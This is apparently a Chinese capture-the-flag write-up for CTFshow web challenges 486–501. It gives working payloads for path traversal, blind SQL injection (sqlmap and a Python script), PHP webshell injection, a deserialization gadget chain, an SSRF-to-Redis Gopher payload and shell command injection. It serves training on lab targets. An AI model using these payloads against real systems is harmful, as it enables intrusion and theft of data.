CTFSHOW 中期测评(一)web486 - web501

题目列表

web486

打开之后发现是个登录框,PATH为/index.php?action=login

尝试修改/index.php?action=login/index.php?action=1,发生报错

由报错内容可知网站可能存在文件包含漏洞,尝试进行目录穿越读取flag

/index.php?action=../flag

访问源码得到flag

web487

修改/index.php?action=login/index.php?action=../index,可以查看源码

存在SQL注入漏洞,而且没有过滤,测试后发现没有回显,用时间盲注

先验证一下

/index.php?action=check&username=1&password=') or sleep(3)--+

没有问题

这里用sqlmap去跑结果了,省点时间

python sqlmap.py -u "https://39dc9317-0164-419c-ac40-b3d76de931e5.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -D ctfshow -T flag -C flag --dump

web488

打开题目之后,也是跟之前一样读取index代码

/index.php?action=../index

sql那里两个参数都被md5包裹了,不能用sql注入做了。继续往下分析,可以看到有个templateUtil::render('error',array('username'=>$username)),暂时不知道templateUtil类和render函数有何用处

同时看到上面include了两个php文件

通过目录穿越读取这两个文件代码分析后,发现 render_class.php 有用,db_class.php 则是数据库的一些连接配置,暂时用不到

/index.php?action=../render/render_class

可以看到里面定义了render函数和shade函数,其中render函数我们重点关注以下代码

else{
	$templateContent=fileUtil::read('templates/'.$template.'.php');
	$cache=templateUtil::shade($templateContent,$arg);
	cache::create_cache($template,$cache);
	echo $cache;
}

$templateContent 获取templates/$template.php页面返回的内容,然后$cache调用shade函数替换$templateContent 中的字符串,把{{username}}替换为传入的数组key:value中的value值,最后再调用cache类中的create_cache函数

上面可以看到包含了cache_class.php,我们继续看看create_cache函数有什么作用

/index.php?action=../render/cache_class

create_cache函数先检查是否存在文件cache/md5($template).php,如果没有则创建一个php文件,并把$content写进去,其中$content我们可以控制,且$template也是固定的,那就很简单了

利用链:

templateUtil::render() -> templateUtil::shade() -> cache::create_cache() -> fileUtil::write()

我们看看index关键代码

if($action=='check'){
	$username=$_GET['username'];
	$password=$_GET['password'];
	$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$username));
	}else{
		templateUtil::render('error',array('username'=>$username));
	}
}

$user不存在时就会进入else语句,然后传入$template为 error,数组为[username: 任意内容]。我们可以写个webshell进去,因为error的md5值为cb5e100e5a9a3e7f6d1fd97512215282,文件会上传到

cache/cb5e100e5a9a3e7f6d1fd97512215282.php

要注意如果已经查询过的话,会进入else分支,那么cache/cb5e100e5a9a3e7f6d1fd97512215282.php就已经存在了,后面再查询就会返回true,无法再进入create_cache函数的else分支,也就无法再写入webshell了,这种情况只能重开靶机,这一点要注意

可以输入/index.php?action=error测试一下,访问templates/error.php,可以看到页面返回{{username}}不存在,正好符合条件,可以把{{username}}置换为我们传入的任意内容

重开靶机,然后GET传入payload

/index.php?action=check&username=<?php eval($_POST[1]);?>&password=123

显示不存在即为成功

然后蚁剑连接,路径为cache/cb5e100e5a9a3e7f6d1fd97512215282.php,要注意把https改成http

在根目录找到flag

web489

继续看index代码

/index.php?action=../index

可以看到else分支改了,不能上传内容到error那里了,但是题目给出了关键代码extract($_GET),意思是将 $_GET 数组中的所有键值对转换成对应的普通变量,那我们可以通过变量覆盖来触发templateUtil::render('index',array('username'=>$username)),效果跟上题一样

这次题目贴心给出了cache清除代码,如果你在登录框尝试登录过,那可以通过输入/index.php?action=clear来清除cache目录,这样就不用重启靶机了

if($action=='clear'){
	system('rm -rf cache/*');
	die('cache clear');
}

方法跟上题差不多,不过payload要改成

/index.php?action=check&username=<?php eval($_POST[1]);?>&sql=select 1;

通过变量覆盖使if永真,然后读取的位置从error变成了index,其他一样

在根目录找到flag

web490

先来看看index代码,方法跟之前一样

我们关注重点以下代码

if($action=='check'){
	extract($_GET);
	$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
	$user=db::select_one($sql);
	if($user){
		templateUtil::render('index',array('username'=>$user->username));
	}else{
		templateUtil::render('error');
	}
}

sql语句变了,username那里没有md5包裹了,然后render('index',array('username'=>$username));变成了render('index',array('username'=>$user->username));

那好办,方法跟之前一样,只不过这次通过sql注入改变查询的username的值,使后面的$user->username能返回我们想要的值

但是一开始输入payload

/index.php?action=check&username=1' union select '<?php eval($_POST[1]);?>'--+&password=1

会发现莫名其妙返回了一个?>

查看/cache/6a992d5529f459a44fee58c733255e86.php,发现页面显示语法错误

那估计大概率是字符串替换后本身就已经被php标签包裹了,所以多出来的?>就显示在页面上了。后面发现/index.php?action=index可以看到传入后的代码,也验证了猜想

那我们修改一下代码,先输入/index.php?action=clear清空缓存,再传入payload,后面的题目如果有输入过username这些,记得一定要先清空cache,不然内容写不进去

/index.php?action=check&username=1' union select 'eval($_POST[1])'--+&password=1

蚁剑连接,在根目录找到flag

web491

继续分析代码

被修复了,不能用之前的方法写入webshell了,但是username那边没有md5包裹,可以用SQL注入获取flag

payload:

/index.php?action=check&username=1' union select load_file('/flag') into outfile "/tmp/3.php" --+&password=1

然后目录穿越读取flag

web492

先看代码

这个多了一个正则,然后上题的templateUtil::render('index')改回templateUtil::render('index',$user),可以继续用之前的方法

payload:

/index.php?action=check&username='1&user[username]=<?php eval($_POST[1]);?>

大概思路就是利用extract($_GET);污染变量,然后username随便带个符号跳过正则验证直接来到templateUtil::render('index',$user),后面的步骤跟之前一样,也是通过字符串替换写入webshell

然后蚁剑连接读取flag

web493

先看代码

因为下面的render只传入了$template,没有传入数组参数,所以不能走这条路。然后SQL那里又有正则限制,不能出现符号,所以也无法进行SQL注入,但是上面出现了关键代码

if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		$user=unserialize($c);

那我们可以用反序列化来做这题,读取上面的render/db_class.php

/index.php?action=../render/db_class

得到代码

<?php

error_reporting(0);
class db{
	
	public $db;
	public $log;
	public $sql;
	public $username='root';
	public $password='root';
	public $port='3306';
	public $addr='127.0.0.1';
	public $database='ctfshow';
	public function __construct(){
		$this->log=new dbLog();
		$this->db=$this->getConnection();
	}

	public function getConnection(){
		 
		return new mysqli($this->addr,$this->username,$this->password,$this->database);
	}

	public  function select_one($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_object();
		}

	}
	public  function select_one_array($sql){
		$this->sql=$sql;
		$conn = db::getConnection();
		$result=$conn->query($sql);
		if($result){
			return $result->fetch_assoc();
		}

	}
	public function __destruct(){
		$this->log->log($this->sql);
	}
}
class dbLog{
	public $sql;
	public $content;
	public $log;

	public function __construct(){
		$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
	}
	public function log($sql){
		$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
	}
	public function __destruct(){
		file_put_contents($this->log, $this->content,FILE_APPEND);
	}
}

构建反序列化payload

<?php

class db{
    public $log;
    public $sql;
    public function __construct(){
        $this->log=new dbLog();
    }
}
class dbLog{
    public $sql;
    public $content;
    public $log;
    public function __construct(){
        $this->log='log/3.php';
        $this->content ='<?php eval($_POST[1]);?>';
    }
}

$a = new db();
$b = urlencode(serialize($a));
echo $b;

得到结果为

O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D

然后cookie写入payload,记得要满足if(!isset($action)),把action参数删去就可以

然后蚁剑连接

web494

先看代码

一开始看到templateUtil::render('index',$user),我以为可以继续用之前的方法,但是后面连接webshell怎么都连不上,读取/render/cache_class.php代码之后发现php后缀改成html后缀了,那没办法了

反序列化那里加了if(preg_match('/\:|\,/', $c)){来过滤,不过不影响,继续用上题的反序列化方法

payload:

<?php

class db{
    public $log;
    public $sql;
    public function __construct(){
        $this->log=new dbLog();
    }
}
class dbLog{
    public $sql;
    public $content;
    public $log;
    public function __construct(){
        $this->log='log/3.php';
        $this->content ='<?php eval($_POST[1]);?>';
    }
}

$a = new db();
$b = urlencode(serialize($a));
echo $b;

结果

O%3A2%3A%22db%22%3A2%3A%7Bs%3A3%3A%22log%22%3BO%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A24%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A9%3A%22log%2F3.php%22%3B%7Ds%3A3%3A%22sql%22%3BN%3B%7D

然后cookie传入,蚁剑连接webshell,找了一会找不到flag,那连接数据库看看,先读取/render/db_class.php查看数据库配置信息

然后蚁剑连接

读取flag

web495

核心代码没有变

if(!isset($action)){
	if(isset($_COOKIE['user'])){
		$c=$_COOKIE['user'];
		if(preg_match('/\:|\,/', $c)){
			$user=unserialize($c);
		}

可以继续用上题的方法,flag在数据库

web496

查看代码

发现反序列化代码被注释了,然后SQL正则那里多了一些过滤,可以用万能密码登录系统

账号:'||1=1#
密码:1

进去后点击基本资料,可以看到管理员信息修改

查看网页源码,发现是通过POST发送请求到api/admin_edit.php

我们查看api/admin_edit.php的源码,GET请求/index.php?action=../api/admin_edit

可以看到有个update语句,然后下面有修改成功和失败的文本信息。那我们的思路就是写个脚本,先用万能密码登录保持登录状态,然后在user[username]数组里写payload进行布尔盲注,同时要保证nickname不重复

payload:

import requests
import string

url = "http://eb072399-7e45-41c9-a2dd-d30c29f993ee.challenge.ctf.show"
chars = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890[]{},.-_"
result = ""
session = requests.session()
session.post(url + "?action=check", data={"username":"'||1=1#", "password":1})

for pos in range(1, 100):
    found = False
    for c in chars:
        #payload = "'||if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1)='{1}',1,0)#".format(pos, c)
        #payload = "'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(pos, c)
        payload = "'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(pos, c)
        data = {'nickname': str(pos), 'user[username]': payload}
        response = session.post(url + "/api/admin_edit.php", data=data)
        if "u529f" in response.text:
            result += c
            print(result)
            found = True
            break
    if not found:
        break

运行脚本得到flag

web497

查看代码

$user=unserialize($c)的注释去掉了,但是前面的正则匹配加了感叹号,也就是不能出现冒号和逗号,那我们不走这个方法,继续用万能密码登录系统,账号'||1=1#,密码1

然后点击基本信息,发现头像处可以修改

直接file协议读取flag文件,存在SSRF漏洞

file:///flag

修改成功后右键点击头像,选择在新标签页中打开图像,成功读到flag

web498

也是上一题的方法,读/etc/passwd可以,但是读flag读不到了,可能是权限不足,也可能是flag不叫这个名字了或者在其他目录

刚好看到/etc/passwd里面有个redis,输入dict://127.0.0.1:6379探测端口开放情况

用Gopher协议打SSRF就可以,工具Gopherus

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2428%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

然后访问/shell.php,查看根目录

读取flag

web499

头像地址没了,SSRF打不通

随便点了一下,发现系统配置可以打开

查看源代码,发现有个api/admin_settings.php路径

查看api/admin_settings.php源码

关键代码

if($user){
	$config = unserialize(file_get_contents(__DIR__.'/../config/settings.php'));
	foreach ($_POST as $key => $value) {
		$config[$key]=$value;
	}
	file_put_contents(__DIR__.'/../config/settings.php', serialize($config));

它会把POST传进来的键值对放入数组,然后写入文件config/settings.php,我们看看config/settings.php源码

刚好对应的就是前面的系统配置页面,那我们在系统配置页面传入一句话木马

可以看到木马已经成功写入

蚁剑连接

在根目录找到flag

web500

上题的代码改了,不是写到php文件了,那我们换个方法

回到管理页面点了一通,发现数据库备份可以打开

查看源码,发现其POST请求发送到api/admin_db_backup.php,那我们读取源码看看

关键代码shell_exec('mysqldump -u root -h 127.0.0.1 -proot --databases ctfshow > '.__DIR__.'/../backup/'.$db_path),那我们可以拼接命令读取flag

payload:

;cat /f*>/var/www/html/1.txt

然后访问1.txt读取flag

web501

这次修改名称的地方不见了

查看代码,发现其多了个正则匹配

因为前面有个extract($_POST),然后数据库备份的源码写了POST请求的目标地址

那我们可以直接向目标地址发送POST请求执行命令

然后访问/1.txt读取flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

WayneJoon.H

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值